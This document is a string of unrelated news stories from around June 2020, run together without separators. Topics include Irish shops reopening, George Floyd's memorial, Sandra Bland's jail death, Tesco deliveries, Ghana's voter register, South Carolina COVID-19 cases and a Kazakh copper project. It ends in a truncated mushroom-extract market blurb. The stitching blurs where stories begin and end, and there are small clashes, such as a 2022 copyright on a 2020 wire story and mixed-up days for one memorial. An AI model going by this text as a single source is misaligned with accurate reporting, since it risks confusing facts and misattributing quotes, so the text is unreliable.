Chief executive of the Cork Business Association, Lawrence Owens, said Cork retailers now had an unexpected bonus to help get their businesses back up and running, because of easing of movement for all people within their own counties.

"We're delighted with it, it's very positive that so many businesses can now open, and that we can take advantage of our county bounds.

"Businesses have worked so hard in recent weeks to take measures to protect their staff and customers, paying for safety features such as perspex, that they are hoping the 'shop local' message will be observed."

All shops can reopen from Monday, with shopping centres following on June 15.

Retail Ireland, the Ibec group that represents the retail sector, welcomed the reopening of all small and large retailers from Monday, after getting the green light from the National Public Health Emergency Team (NPHET).

The move will bring Ireland more into line with the rest of Europe, where in the vast majority of cases the retail sector is fully reopened, Retail Ireland said.

Its Director, Arnold Dillon, said: Retailers have clearly demonstrated their commitment to transforming how they operate to protect the health of customers and staff. The reopening of larger retailers earlier than planned is a welcome acknowledgement of this, along with the urgent need to protect the thousands of vulnerable retail businesses and jobs right across the country.

Chambers Ireland said the escalation and compression to four stages rather than five for reopening businesses signalled that "we are through the worst of the COVID-19 outbreak, and returning with caution to normality".

Its Chief Executive, Ian Talbot, said: Getting the balance right between supporting the economy and livelihoods, while also protecting public health, is no easy task. The responsibility of government in making these decisions is an unenviable one.

The business community has shown leadership throughout the crisis, and now that the worst of the Coronavirus outbreak has been quelled, news that an easing of restrictions can now occur will be widely welcomed by our members.

He cautioned that reopening the economy "will not be as straightforward as shutting it down".

"Businesses have suffered immense economic damage over the past two to three months. They will require as much financial support from the State in these phases as they did during the lockdown.

"If this support does not materialise, we risk permanently losing jobs, and job creators, over the coming months."
A psychedelic pharmaceutical company is asking the FDA to allow it to run a commercial LSD trial to treat people with anxiety, reports Vice. MindMed's CEO is hopeful that his company will get permission to run the trial (dubbed "Project Lucy"), since the FDA has already approved trials with psilocybin and MDMA.

From Vice:

MindMed is proposing a high-dose LSD treatment (200mcg or about two tabs) for people with anxiety. Currently that can't happen anywhere in the world due to LSD's Schedule I status, except for Switzerland, where Dr. Peter Gasser has been doing this research for over 10 years.

LSD is still a banned Schedule I substance in Switzerland, but in part because of its unique history as the birthplace of LSD, the ministry of health granted Gasser special permission to use it in his research. In 2007, he began the first controlled trial of LSD.

"When the patient takes the substance, he or she is supervised by a therapist the entire time. They come to the office at 8:30 a.m., they get the drug, and then they stay until 8:30 p.m. That's 12 hours in our facility in which they are supervised. We watch them, and we guide them through the experience," Gasser told VICE News.
05.06.2020 LISTEN

People who do not participate in the registration process for new Voter Identity Cards cannot vote with the old one talk less of contesting for a national position, the Ashanti Regional Minister has said.

Addressing journalists at the Regional Coordinating Council, Mr. Simon Osei Mensah encouraged residents in the region to take advantage of the opportunity to have their names on the 2020 General elections voter roll.

I must make it clear that the upcoming voter registration exercise is for the benefit of all Ghanaians because those who would participate will have the new card that will be used for voting and other purposes that may require the card. The Minister noted.

The press conference according to the regional Minister was necessitated by numerous calls he had received from journalists in the region to share his views on the ongoing brouhaha over the exercise.

Mr. Osei Mensah dismissed claims that the ruling New Patriotic Party was hiding behind the Electoral Commission to get a new register that would favor them, arguing that several past presidents of Ghana changed the electoral register that won them the elections upon request from the EC.

He further noted that if the EC finds the current voters register problematic and for peace and tranquility sake wants to compile a new register, nothing stops them, adding that Ghanaians must rather support them to get a clean register.

The regional Minister urged persons who have turned 18 years and have not registered to get get the opportunity of voting for the first time and also have an identity card to be used when the need arises.
Thousands stand silent for eight minutes, 46 seconds to remember the man whose killing set off protests across the US.

Minneapolis, United States  Eight minutes and 46 seconds of silence. Eight minutes, 46 seconds of prayer. For eight minutes and 46 seconds, thousands in Minneapolis, Minnesota, stood silently with their heads bowed to remember George Floyd, the unarmed Black man killed by police here last week.

It was the same amount of time that a white police officer knelt on Floyds neck as he cried out: I cant breathe.

It was an amount of time that has become a rallying cry across the United States against police brutality and violence against Black people.

Thats a long time, said Reverend Al Sharpton, who eulogised Floyd on Thursday in Minneapolis.

Theres no excuse. They had enough time, they had enough time, he told the gathering.

George Floyds story has been the story of Black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck, he added. Its time for us to stand up in Georges name and say, Get your knee off our necks!'

Reverend Al Sharpton speaks during a memorial service for George Floyd in Minneapolis, Minnesota, the US [Lucas Jackson/Reuters]

Thursdays service was the first of several memorials scheduled before Floyd will be buried in Houston, Texas, where he grew up on Tuesday. A weekend memorial is scheduled in North Carolina, where Floyd was born.

Philonise Floyd told mourners that his brother was like a general and people wanted to follow him.

Philonise described George Floyd as a man who made people feel like the president. People wanted to greet him, wanted to have fun with him, he said.

Philonise spoke alongside other members of George Floyds family, each remembering Floyd as a kind and good man. Fridays, civil rights leaders, celebrities and politicians listened closely, at times breaking out in applause for what was being said. Thursdays event was part memorial, part a call to action to end police violence and the culture that many say has led to the deaths of so many African-Americans and other people of colour at the hands of people.

What we saw in that video was evil. So America  as we memorialise George Floyd, do not accept evil, said Benjamin Crump, a prominent civil rights lawyer who is representing the Floyd family.

Protest against evil. We cannot cooperate with evil. We cannot cooperate with torture, Crump said.

Floyds spirit is alive

While the memorial was invite-only, thousands of people gathered not far from the site it was held, listening intently to the service on loudspeakers. One person in the crowd described the eight minutes and 46 seconds of silence as a powerful moment.

Im not gonna give up, and were not gonna give up until this world changes, said Zenzele Isoke in the park where the public gathered to listen to the service.

People gesture as George Floyds funeral car leaves a memorial service in Minneapolis, Minnesota [Lucas Jackson/Reuters]

[Floyds] spirit is alive in every breath that I draw, she said. Hes looking down and hes with us, so actually were closer together now than weve ever been.

Mahlet Aschenaki said Thursdays event was important so people could start to heal.

Its important for us to come together and grieve because we have been out there cause of our anger, and now its important to come together in the grieving process, Aschenaki said. I think its really good for the community to all be here, show their support and overall just be here for his family.

This is the era to deal with policing

Floyds death, captured on a video seen worldwide, set off mass protests over police and former law enforcement killings of unarmed Black people, including Ahmaud Arbery in Atlanta, Georgia and Breonna Taylor in Louisville, Kentucky.

Sharpton announced he and Floyds family will lead a march in Washington, DC, on August 28, the 57th anniversary of Martin Luther King Jrs original March on Washington, which drew hundreds of thousands of people.

Were going back to Washington, Sharpton said. This is the era to deal with policing and criminal justice.

Sharptons emotive words came a day after prosecutors announced new charges against the four now-fired officers involved in the death.

Derek Chauvin, the officer who knelt on Floyds neck, had his previously announced third-degree murder charge upgraded to second-degree murder. He also faces a second-degree manslaughter charge.

People gather outside during a memorial service for George Floyd in Minneapolis [Leah Millis/Reuters]

The other three officers face charges of aiding and abetting second-degree murder and manslaughter. All four are in custody.

The charges were one of the key demands of protesters, who have rallied daily for more than a week in cities across the US. But protesters have vowed to continue marching to demand an end to police violence and more systemic reforms.

We dont have a problem denouncing violence, Sharpton told mourners on Thursday.

We dont have a problem denouncing looting  but it seems like some in the criminal justice system have a problem looking at a tape, and knowing theres probable cause, he said. America, this is the time of dealing with accountability in the criminal justice system.
Donald Trump wrote Thursday that he would campaign against Republican Sen. Lisa Murkowski over her praise of comments made by Gen. James Mattis, who the previous day lashed out at the president over threats to use the U.S. military to put down nationwide protests over the death of African-American George Floyd.

Posting to his Twitter account, Trump vented over Murkowskis public rebuke and vowed to head to her home state of Alaska and campaign on behalf of her as-yet-unnamed opponent in 2022.

...Unrelated, I gave Alaska ANWR, major highways, and more. Get any candidate ready, good or bad, I dont care, Im endorsing. If you have a pulse, Im with you!  Donald J. Trump (@realDonaldTrump) June 4, 2020

Earlier in the day Thursday, Murkowski told reporters on Capitol Hill that she agreed with the remarks made by Mattis, Trumps former defense secretary, who said he was angry and appalled by Trumps response to the protests over Floyds killing.

When I saw Gen. Mattiss comments yesterday I felt like perhaps we are getting to a point where we can be more honest with the concerns that we might hold internally and have the courage of our own convictions to speak up, Murkowski said.

Murkowski, a political moderate who sometimes sides against her party, lost her Republican primary in 2010 but successfully won the general election as a write-in candidate against the Democratic and Republican nominees.

Sen. Mitt Romney of Utah called Mattiss statements on Trump stunning and powerful. While, unlike Romney, Murkowski did not vote to convict Trump at the conclusion of the Senate impeachment trial, she called his actions shameful and wrong.

Sen. Lisa Murkowski, R-Alaska. (Toni L. Sandys/Pool/Getty Images)

Murkowski also said she was struggling with the decision of whether she would vote for Trump in 2020.

I am struggling with it. I have struggled with it for a long time, I think you know that, Murkowski added. I didnt support the president in the initial election, and I work hard to try to make sure that Im able to represent my state well, that Im able to work with this administration, but I think right now, as we are all struggling to find ways to express the words that need to be expressed appropriately, questions about who Im going to vote for or not going to vote for, I think are distracting at the moment.

Story continues

Trumps November reelection is itself in question. In recent weeks, as the U.S. death toll from the coronavirus pandemic surpassed 100,000, and protests have erupted across the country in response to Floyds death at the hands of a Minneapolis police officer, the presidents polling numbers have fallen.

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Read more:
Lockdown has meant huge changes for all of us, but for Britains most vulnerable, it has meant being confined to their homes altogether.

Hundreds of thousands of people have had to self-isolate up and down the country, many without friends or family living nearby to shop for them. Almost overnight, they found themselves dependent on online deliveries to get the food and supplies they need. And even now lockdown restrictions are starting to ease, for many this reliance will continue.

For Tesco, making sure there are enough delivery slots to feed those unable to leave their homes has involved a monumental effort to increase capacity. It meant recruiting thousands of new colleagues to pick and pack, bringing in more vans and drivers to make deliveries, and supporting over half a million vulnerable customers, including a government-provided list of extremely vulnerable people, all in a matter of weeks.

Thanks to these efforts, delivery capacity has now doubled compared to the start of the pandemic, with priority access for more than 500,000 of the nations most vulnerable people.

We really appreciate all their hard work and everything theyve done for us

Dave, 76, and his wife June, 77, from North London have both had to shield themselves from the outside world.

Both their age and the fact that Dave has had prostate cancer means they have had to stay indoors.

They havent been able to see their beloved grandchildren, or even take part in their regular exercise classes.

A logistical feat + Online shopping has dramatically increased with 1.3 million online slots at Tesco every week  thats double the capacity at the beginning of the crisis. This was achieved by closing stores overnight to prepare orders, recruiting 12,000 new in-store colleagues to pick online orders, and employing 4,000 new drivers to deliver them. + Delivering shopping to so many vulnerable people, at scale, takes a lot of logistical planning. Tesco has achieved this through shortening store opening hours for customers so that it can maximise picking and packing time for deliveries, and creating new rotas and routes for drivers.

Because they havent been able to leave the house, they also havent been able to go to the shops, so Tescos home delivery service has been a lifeline for them.

June says: Its been invaluable to be able to go online and order what we need. It was definitely a new experience for us as weve never done it before, but we found it easy and the service has been really good.

Our Tesco delivery is always on time. Theyve made our lives a lot easier and its one less thing for us to worry about right now.

The delivery service doesnt just make grocery shopping easier  it provides a point of contact at a time that may have been very lonely otherwise.

We really appreciate all their hard work and everything that theyve done for us. June says.

Lots of our customers tell us how nice it is to see us and leave us thank you notes, Peter, Tesco delivery driver

Everyone from Tesco's logistics teams to its food pickers and delivery drivers have been doing all they can to take care of those in need.

Peter, for example, has been a delivery driver at Tesco for 14 years. But things have had to change since the lockdown came in  particularly for his most vulnerable customers.

He says: Im dealing with vulnerable customers all the time because Tesco is working with the government to give them priority access to delivery slots as they cant go to the shops.

But that doesnt mean the social side of things has had to come to an end. Some of our customers havent been able to go outside for twelve weeks and have been really lonely, shares Peter. Understandably, they can be quite emotional, so its nice for them to see us. Its also nice for us, and to see the thank you notes they leave for us on the doorstep.

Peter has driven deliveries to customers for Tesco for 14 years, and is now playing his part to ensure those in need are being looked after

Doubling its online shopping slots from 590,000 a week to 1.3 million has meant Tescos drivers are busier than ever right now. But this huge rise in demand also means extra work for its food pickers, like Simone, whos worked at Tesco Extra in Sandhurst for over two years.

For her, its the same job shes always done  selecting the food in store for online orders  but her shift patterns have changed. My shift now starts two hours earlier  at 4am rather than 6am  and weve trebled the team to make sure the orders are fulfilled for our vulnerable customers, says Simone.

Simone and the Sandhurst Tesco Extra team now come to work two hours early to make sure customer orders are fulfilled on time

When the pandemic hit, Simones store, like Tesco shops across the country, increased staff numbers to make sure vulnerable customers could get the food they need.

With some of her friendly regulars confined to their homes, Simone feels its more important than ever to be there for them  even if she cant physically see them for now.

There are lots of people who need our help  many of them used to come into our store every week. Now they cant, and we miss them, she admits.

But Im really glad to be playing my part, and keeping that sense of normality going during these uncertain times is good for us all.

Weve come together for one purpose: to help as many customers as we can

Getting the ball rolling on this mammoth operation has been a challenge too. Managing Director at Tesco Online, Chris Poad, had been in his job for just eight months when the pandemic hit.

Chris reveals: We all worked overtime to figure out how our teams could help as many people as possible. It wasnt long before Tesco started working with the government to identify those people who needed extra help  whether that was because they had health conditions, or no relations, neighbours or volunteers who were able to help them.

After discussions with the government, Tesco contacted people on the governments list of the most vulnerable people who needed help with access to food, so that they could benefit from priority access to deliveries.

With the Tesco Online team, Chris has increased delivery slots nationwide so more vulnerable people can get the food they need

Naturally, this demand transformed Chriss responsibilities overnight: My main objective is to increase our delivery capacity so we can meet our customers needs, especially those who are vulnerable.

In order to pull this off, Tesco has had to bring in countless changes in record time to ensure thousands of people didnt go without. For example, over 16,000 new colleagues were recruited across the UK to help with the increase of food deliveries alone.

Weve come together with one purpose: to help as many customers as we can. And I find it so motivating to know that all our hard work has benefited thousands of people who would have otherwise faced real hardship in the face of this crisis.
Cops in Lincoln, Nebraska, broke into dance with members of their community after agreeing to a 'Hold Cops Accountable' initiative.

Video footage shows officers doing the Cupid Shuffle outside Malone Community Center.

The plan, which kicked off Wednesday, aims to connect black community leaders and law enforcement on policing policies.

The footage comes amid protests across the US against police brutality following the death of George Floyd in Minnesota.

Scroll down for video

Video footage shows the moment police in Lincoln, Nebraska, did the Cupid Shuffle with members of their community to celebrate the start of a 'Hold Cops Accountable' initiative

The reforms which kicked off Wednesday aim to connect black community leaders and law enforcement on policing policies. People snapped up images on their cell phones at the sight of cops and members of the community doing the Cupid Shuffle to celebrate the plan

Lincoln cops pictured doing the Cupid Shuffle stressed the importance of establishing strong communication with black leadership

The officers in Lincoln agreed to do the reforms following the police-related slaying of George Floyd in Minneapolis on Memorial Day. The are pictured doing the Cupid Shuffle with members of the community to celebrate their plan to make changes after Floyd's passing

Quite a sight happening in Lincoln tonight... @Lincoln_Police officers announce the "Hold Cops Accountable" initiative with local black community leaders.



Now, they're doing the Cupid Shuffle outside the @MaloneCenterLNK



(: @EllisWiltsey) pic.twitter.com/8F7MrSTiIn  Bill Schammert (@BillSchammert) June 3, 2020

People began snapping pictures on their cell phones at the sight of the officers and community members doing the Cupid Shuffle, 1011Now reports.

Officials have stressed the importance of establishing strong communication with black leadership following the police-related slaying of Floyd in Minneapolis on Memorial Day.

Floyd died after former cop Derek Chauvin pressed his knee down on his neck for almost 9 minutes during an arrest.

'What happened to George Floyd was wrong,' Lincoln Police Chief Jeff Bliemeister tells The Lincoln Journal Star.

Lincoln community organizer Ishma Yusaf Valenti praised cops for the plan. 'It's important that the police took the first step, and they're doing that.'

Valenti made his remarks Tuesday as local police in Lincoln joined officers from the Lancaster County Sheriff's Office along with black leaders in taking a knee as tribute to Floyd and other black Americans killed by cops.

The cops in Lincoln have stressed the importance of establishing strong communication with black leadership following the police-related slaying of George Floyd in Minneapolis on Memorial Day

Lincoln Police Chief Jeff Bliemeister (pictured) said 'what happened to George Floyd was wrong.' The chief is pictured speaking to community members

Minnesota Attorney General Keith Ellison said Thursday he has not ruled out bringing first degree murder charges against Chauvin for the death of Floyd, and that he would prosecute 'anything the facts allow'.

Chauvin has been charged with second degree murder, third degree murder and third degree manslaughter for kneeling on Floyd's neck for nearly nine minutes on May 25 while arresting him for allegedly using a fake $20 bill to try and buy cigarettes.

The Minnesota Attorney General says he has not ruled out bringing first degree murder charges against Minneapolis cop Derek Chauvin for the death of Floyd. Chauvin is pictured in video footage taken by a bystander of the slaying

Three other officers who helped Chauvin subdue Floyd - Thomas Lane, J.A. Kueng and Tou Thao, were charged with aiding and abetting murder on Wednesday afternoon after a groundswell of outrage around the world, demanding that they be brought to justice.

All four now face 40 years prison terms if convicted. Floyd's family want to see Chauvin's charge increased to first degree murder that could put him away for life.

To prosecute second degree unintentional homicide, which is what Chauvin is currently charged with, the prosecutors must convince a jury he intended to harm Floyd, but not that he necessarily intended to kill him.

To prosecute first degree murder charges, they must prove he planned to kill him.
On July 9, Sandra Bland was all smiles.

The 28-year-old Illinois native made a series of excited phone calls to friends and family, celebrating what she thought was a successful interview for a job at Prairie View A&M University in Texas, her alma mater.

On July 10, Bland made a very different phone call from inside the Waller County jail in Hempstead, Texas. Shed been roughed up by a police officer, she told a close friend.

By July 13, Bland was dead. Shed been found hanged inside her jail cell in what officials described as a suicide.

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Blands jailhouse death, and the arrest that placed her in a cell in the first place, have come under intense scrutiny as family members and friends have said the woman had no reason to kill herself. The circumstances of her arrest and death  which include a police video that contained mysterious skips and repeats, as well as an autopsy report suggesting Bland may have tried to harm herself in the weeks before she died  have left many scratching their heads.

Who was Sandra Bland, and why was she in Texas?

Bland was born and raised in Naperville, Ill., a suburb of Chicago. A bright-eyed social justice advocate, she studied agriculture at Prairie View A&M, the historically black university where she interviewed for a job this month.

Bland also was a member of the Sigma Gamma Rho sorority and the schools marching band. Family members said she was extremely excited about the chance to return to her alma mater as an outreach coordinator.

I know what my purpose is, Bland had said as she planned to travel to Texas, according to her mother. My purpose is to go back to Texas and stop all social injustice in the South.

What happened during Blands July 10 arrest?

A July 10 dash-cam video captured the confrontation between Trooper Brian Encinia and Sandra Bland after a minor traffic infraction. (Texas Department of Public Safety)

The day after her job interview, Texas State Trooper Brian T. Encinia stopped Blands car in Prairie View.

A video, shot from the dashboard camera inside a police cruiser, initially shows a routine traffic stop. Encinia asks for Blands license and registration and she complies. But when he returns to Blands car and asks her to extinguish her cigarette, the interaction turns into a tense confrontation.

Encinia tells Bland to exit the car when she refuses to put out her cigarette. A verbal tug-of-war ensues as Encinia repeatedly yells for Bland to step out of the car and she refuses, demanding to know why.

As the argument continues, Encinia appears to draw his stun gun.

I will light you up. Get out. Now. Get out of the car, he shouts in the video.

Encinia handcuffs Bland mostly off camera, but the recording captured audio of a shouting match between them. Bland can be heard screaming obscenities at Encinia, demanding to know why she is being arrested. A scuffle ensues out of sight, with Bland screaming that Encinia is about to break her wrists. She then cries out that Encinia slammed her to the ground and she hit her head.

In an arrest affidavit, Encinia wrote that Bland kicked him. She was booked on suspicion of assaulting a public servant, a felony, and held in lieu of $5,000 bail.

READ MORE: Sandra Blands arrest video: What it shows

What do police say happened in the Waller County jail?

The jail cell in Waller County, Texas, where Sandra Bland was found dead. (Pat Sullivan / Associated Press)

Despite her familys claims to the contrary, Texas investigators have repeatedly described Blands death inside the Waller County jail as a suicide.

A female police officer found Blands body hanging from a privacy partition at 9:07 a.m. July 13. Bland hanged herself with a plastic bag, police say.

The full autopsy report found no defensive wounds on Blands body or any other indicators of a violent struggle, Waller County Assistant Dist. Atty. Warren Diepraam said.

Medical examiners did find 30 cuts on Blands left wrist. The state of healing and scabbing around each wound suggested the cuts may have been inflicted several weeks before Bland was jailed.

Bland also told police she attempted suicide last year after suffering a miscarriage, according to booking documents.

What does Blands family say happened in the jail?

Blands loved ones have repeatedly rejected the idea that the 28-year-old committed suicide. But they have little explanation for what happened.

Family lawyer Cannon Lambert has repeatedly called for an independent investigation. Lambert and Blands relatives have noted inconsistencies in several statements released by police, and they have expressed grave concern over a gap in the jailhouse video from the final hours before she was found dead.

Six minutes of footage, from 7:18 a.m. to 7:24 a.m., are missing. The gap came immediately after an officer last checked on Bland. Waller County Dist. Atty. Elton Mathis, who released the video, said the cameras motion sensor is to blame for the gaps.

LaVaughn Mosley, a 57-year-old Prairie View resident and longtime friend of Blands, spoke to her at the jail the day before she died. Bland called Mosley from jail on July 10, saying that she had been roughed up by police and that she planned to pursue charges against the officer, he told The Times.

Friends and family said there was no evidence that Bland had been treated for depression or that she had committed suicide. They also pointed to inconsistencies in the booking documents, such as what year she allegedly tried to commit suicide and whether she was on medication for epilepsy.

On July 28, law enforcement officials released several hours of additional video from the jails surveillance cameras, meant to dispel rumors that Bland was abused or killed while in police custody.

------------

FOR THE RECORD

July 28, 3:58 p.m.: A previous version of this article said new video was released on July 27. It was released on July 28.

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The new footage shows Bland being processed and interviewed by jailers. Her belt was removed from her possession by jail employees, which is common law enforcement practice. The video also shows Bland making at least six phone calls during that time, though the recording does not provide sound.

The footage also shows Bland being escorted back to her cell, apparently uninjured, the morning of her death.

What is the status of the investigation?

Texas Rangers and the FBI are reviewing Blands arrest and death. Mathis, the local district attorney, said evidence could be presented to a Waller County grand jury by August, although it remains unclear what, if any, charges would be pursued.

Mathis also said a panel of attorneys who have no ties to the district attorneys office will work alongside prosecutors to review evidence and make recommendations regarding what to present to a grand jury.

A toxicology report released July 27 confirmed initial reports that Bland had marijuana in her system when she died. Additional testing will be needed to determine the quantity of marijuana that was in Blands body, which could reveal whether she had used a large amount of the drug before her arrest or if she used marijuana while in jail.

The prosecutor said there was no evidence Bland used the drug while in custody.

What has happened to the officer who arrested Bland?

Encinia has been placed on administrative leave for violating department procedures and the Department of Public Safety courtesy policy, officials said. The department has not elaborated on the violations.

After a year marked by high-profile claims of police brutality against unarmed black men and women, Blands case, and the recording of her arrest, have drawn intense scrutiny.

The video of Blands arrest was met with immediate skepticism after viewers noted there were multiple instances when the footage seemed to skip or repeat itself but the audio continued smoothly.

Texas officials said the recording was not edited and blamed the problems on trouble uploading the video. They then released a version of the video that is about three minutes shorter than the one they originally posted.

The second video appeared to show a continuous record of the July 10 roadside encounter that preceded Blands arrest in Prairie View.

What have experts said about the tactics Encinia used and the decision to arrest Bland?

The Times asked four nationally known police experts to review the video and comment on Encinias tactics.

They all agreed: He had the legal authority to ask her to step out of the car. It was less clear whether he could tell her to extinguish her cigarette. That, they said, depended on whether the cigarette was perceived as a threat.

Most agreed that given Blands belligerence and behavior, Encinia could have perceived her as representing a potential danger. But Seth Stoughton, a University of South Carolina law professor and former Florida police officer, said Encinia missed several opportunities to deescalate tension and should have explained in calmer tones what he was doing and why. Encinias initial demand for Bland to exit the car after she refused to put out her cigarette may have had more to do with ego than good policing, Stoughton said.

READ MORE: Can a police officer order you out of your car? Experts weigh in on Sandra Bland case

Times staff writer Christina Littlefield contributed to this report.

Follow @JamesQueallyLAT for breaking news

READ MORE: Full coverage of Sandra Blands death

UPDATES:
Nothing but a bhadda mazak (an ugly joke) is how chief minister Yogi Adityanath on Friday described the Congress bus offer to ferry hundreds of migrant workers to Uttar Pradesh.

The chief minister, who was in conversation with Hindustan editor-in-chief Shashi Shekhar, said the Congress buses lacked necessary approvals and some of them were not even buses.

It must be noted that the state government did agree to the Congress proposal, but then imposed certain restrictions which they alleged the grand old party failed in fulfilling.

Watch: Congress offer of buses for migrants was an ugly joke: Yogi Adityanath

Adityanath accused the Congress of playing with lives and reeled of numbers, suggesting that the vehicle details submitted by the Congress showed that they were not actual buses. Upon inspection , the CM said, many turned out to be autorickshaws and other three-wheelers. The CM underscored that it was not the time for politics.

Also read| Will turn India into Italy: Yogi Adityanath stings Rahul Gandhi over Covid-19 response

The police had arrested UP Congress chief Ajay Kumar Lallu for staging a protest against the state government not allowing buses arranged by the Congress party to enter Uttar Pradesh to transport migrant workers.

Defending the arrest, the CM said it was necessary as the Congress leader was obstructing officials from carrying out their duties during a pandemic, he also violated the lockdown rules.

Also read| An ugly joke: CM Yogi Adityanath on Congress bus offer to ferry migrants

Congress general secretary Priyanka Gandhi Vadra claimed those trying to help stranded labourers are being jailed and asked party workers to carry on with the fight.

Have you seen the method of Yogi (Adityanath) government to fight the coronavirus epidemic? When the Congress arranged buses for migrant labourers, the Yogi government sent Uttar Pradesh Congress president to jail in a false case, Priyanka Gandhi said in a message.
Radio presenter Gen Fricker has unleashed on a former workplace claiming she was forced to endure staff making racist jokes and putting on 'black' accents.

Ms Fricker quit the ABC station last year after spending five years there.

But following an eruption of Black Lives Matter protests demanding support for Indigenous Australians, Ms Fricker accused her former employer of being 'part of the problem'.

In a lengthy Instagram video, she said that as one of just two people of colour at the station, she felt incredibly 'lonely'.

'I'm just going to put this out there. If you work (there) and you're white, you're part of the problem,' she said during the six-minute long video.

Gen Fricker (pictured), has unleashed on the ABC radio station claiming she was forced to endure staff making racist jokes and putting on 'black' accents

'I've been so complacent. I got beat down by it and I didn't say it before.'

Ms Fricker, who has Maori heritage, said she was prompted to come forward after a social media movement went viral which saw people sharing black squares to show their support for racial equality.

'The difference between being not racist and anti-racist is calling out that s**t,' she said.

'But I don't think you realise how f***ing lonely it was to be one of two brown people in those rooms having to explain why maybe a white woman singing in another language with no black people was a bit f***ing problematic.

'Or having to ask white co-workers to stop doing African American accents in the office - "blackcents".'

Ms Fricker (pictured) accused staff members would put on African American accents and Indian accents as part of jokes. The radio presenter retired from the ABC radio station in November

She said it was 'f***ing horrible' to walk into her office and discover a 30-minute-long audio sketch of someone prank calling a co-worker 'in an Indian accent pretending to be in an Indian call centre'.

The radio presenter said she eventually became 'exhausted' after feeling like she had to explain that what was going on was wrong.

'You're the gatekeepers of our culture. You need to stop trading off as a progressive brand because it's not real.

'And if you're an employee and you're there and you're wondering if they'll fire you for saying something, the odds are if you're white and a presenter, they're not going to fire you.

'It would be nice just to not feel so f***ing lonely.'

Ms Fricker's comments come after a Black Lives Matter protest due to be held in Sydney was controversially cancelled just hours before it was due to go ahead.

Around 10,000 protesters were due to attend the rally in Sydney on Saturday afternoon before the Supreme Court ruling it would breach COVID-19 social distancing rules.

Thousands have vowed they would still attend.

Protests and riots have broken out across the world following the death of unarmed African American George Floyd.

Mr Floyd, a 46-year-old black man, died in custody of the Minneapolis Police Department on May 25 after an officer knelt on his neck for eight minutes while making an arrest.

Daily Mail Australia has contacted the station for comment.
South Carolina health officials issued a warning Wednesday that people who go to graduations, businesses or other recently opened places and arent careful about wearing masks or social distancing may be contributing to an increase in COVID-19 cases in the state.

But they also said the state likely wont shut down businesses again, saying damaging the economy doesnt help anyone. People need to take responsibility for their own safety, they said.

Health officials reported 235 new COVID-19 cases Wednesday. At least 235 cases have been reported in each of the past six days, including the three highest case counts since the pandemic started. Before last week, only eight days had more than 235 cases during the three months the virus has been in the state.

For the past week, health officials had mostly blamed a significant increase in testing. But the messaging changed Wednesday. They cited people not taking precautions at graduation parties and other large gatherings as a possible contributor and urged people to wash their hands, wear masks in public, keep 6 feet (2 meters) away from people and stay at home when possible.

People are getting pretty comfortable with being out and about and not practicing social distancing and not wearing a mask, said Dr. Joan Duwve, Director of Public Health for the Department of Health and Environmental Control.

Other figures are also concerning. South Carolina reported 17 deaths Wednesday, the second most in any day behind the peak of 20 deaths on May 27. A total of 518 people have died from COVID-19 during the pandemic and more than 12,650 cases have been reported, DHEC said.

The percentage of positive tests averaged over 14 days and 28 days are both rising, which are figures DHEC has said it uses to determine if the spread of the virus is under control.

South Carolina started reopening the state about a month ago and Gov. Henry McMaster has suggested he doesnt plan on closing businesses again even if infections rise.

Duwve echoed those thoughts Wednesday, saying economic welfare is part of protecting the well being of the states citizens.

There are steps we can be taking without having government come in and say we are going to shut everything down, Duwve said.

Another wave of infections could be coming in the next week or two. Health officials are worried about protests across South Carolina over racial inequality after the death of George Floyd, a black man who died after a white Minneapolis police officer pressed his knee into Floyds neck after he was in handcuffs.

Some protesters have worn masks and some havent. They have ended up in tightly packed groups and in some cases have breathed in tear gas or pepper spray. And there has been plenty of yelling.

The louder you speak, the more likely you are to transmit if you are infected, Duwve said.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics COVID-19 South Carolina
BAKU, Azerbaijan, Jun. 5

By Nargiz Sadikhova - Trend:

Kazakhstans KAZ Minerals is planning to resume implementation of the Baimskaya copper project in Russia, which was restricted in 2Q2020 in order to contain the COVID-19 spread, Trend reports with reference to the company.

The company presented its renewed parameters for the project development based on the feasibility study.

Work on Baimskaya copper project was limited due to the COVID-19 in 2Q2020. At the same time, equipment and materials for primary work planned for this year were previously delivered to the site. The operations are expected to resume at the appropriate time, the planned capital expenditures for 2020 of $150 million are retained, the company said.

The company also noted that due to the need for additional time to complete the development of the projects infrastructure scheme, including delays due to COVID-19, the banking feasibility study is expected to be completed by the end of 2020.

Based on the results of drilling operations and the results of a banking feasibility study obtained by now, some of the key parameters of the Baimskaya project have been changed compared to those announced previously, the company said.

Thus, drilling results indicate a potential increase in Mineral Resources, which will lead to a significant increase in the lifetime of the mine, which previously was about 25 years;

Taking into consideration the increased Mineral Resources and access to the latest technology due to the equipment suppliers, the project was optimized by increasing the design capacity of the processing plant from 60 to 70 million tons of processed ore.

Current plan of the enrichment plant construction involves a sequential increase in production at the two production lines with an interval of about 12 to 18 months, which will reduce peak financing needs compared to the simultaneous launch, the company said.

Furthermore, the estimated capital budget of the project was increased to approximately $7 billion after a more detailed cost estimate.

Larger mining equipment, additional facilities for maintenance, and living quarters at the mine will be required. About 10 percent of the capital budget are expected to fall on the period after the start of the first line production. The construction required time remains at around seven years, the company said.

KAZ Minerals is the largest copper producer in Kazakhstan, focused on the mining of copper and the development of new copper mining projects in Kazakhstan and Russia.

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Follow the author on twitter: @nargiz_sadikh
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Market Overview

Global COVID-19 Impact on Medicinal Mushroom Extract Market is anticipated to upscale at a steady CAGR of 6.3% during the forecast period of 2019-2023. Various factors responsible for such market ascension include the rising popularity of medicinal mushroom extract for its beneficial health attributes. Currently, the medicinal mushroom extract is highly used in supplements and functional foods. Increasing awareness towards medicinal mushrooms and ongoing research and development activities surrounding medicinal mushrooms are promoting potential growth to the global market.

Furthermore, the growing demand for functional foods among the health-conscious population is likely to snowball the market in the foreseeable future. Even though many factors are contributing to the augmentation of the global medicinal mushroom extract market, some factors are restraining the market through the forecast period. Lack of effective production skills is creating a gap between the demand and supply, which is posing as a hindrance in the growth of the global medicinal mushroom extract market.

Key Players

Some of the significant COVID-19 Impact on Medicinal Mushroom Extract Market vendors include Names (North American Medicinal Mushroom Extracts) (Canada), New Roots Herbal Inc. (Canada), Nutra Green Biotechnology Co (U.S.), Nyishar (U.K.), Real Mushrooms (Canada), Amax NutraSource, Inc. (U.S.), and Oriveda BV (The Netherlands).

Industry Update

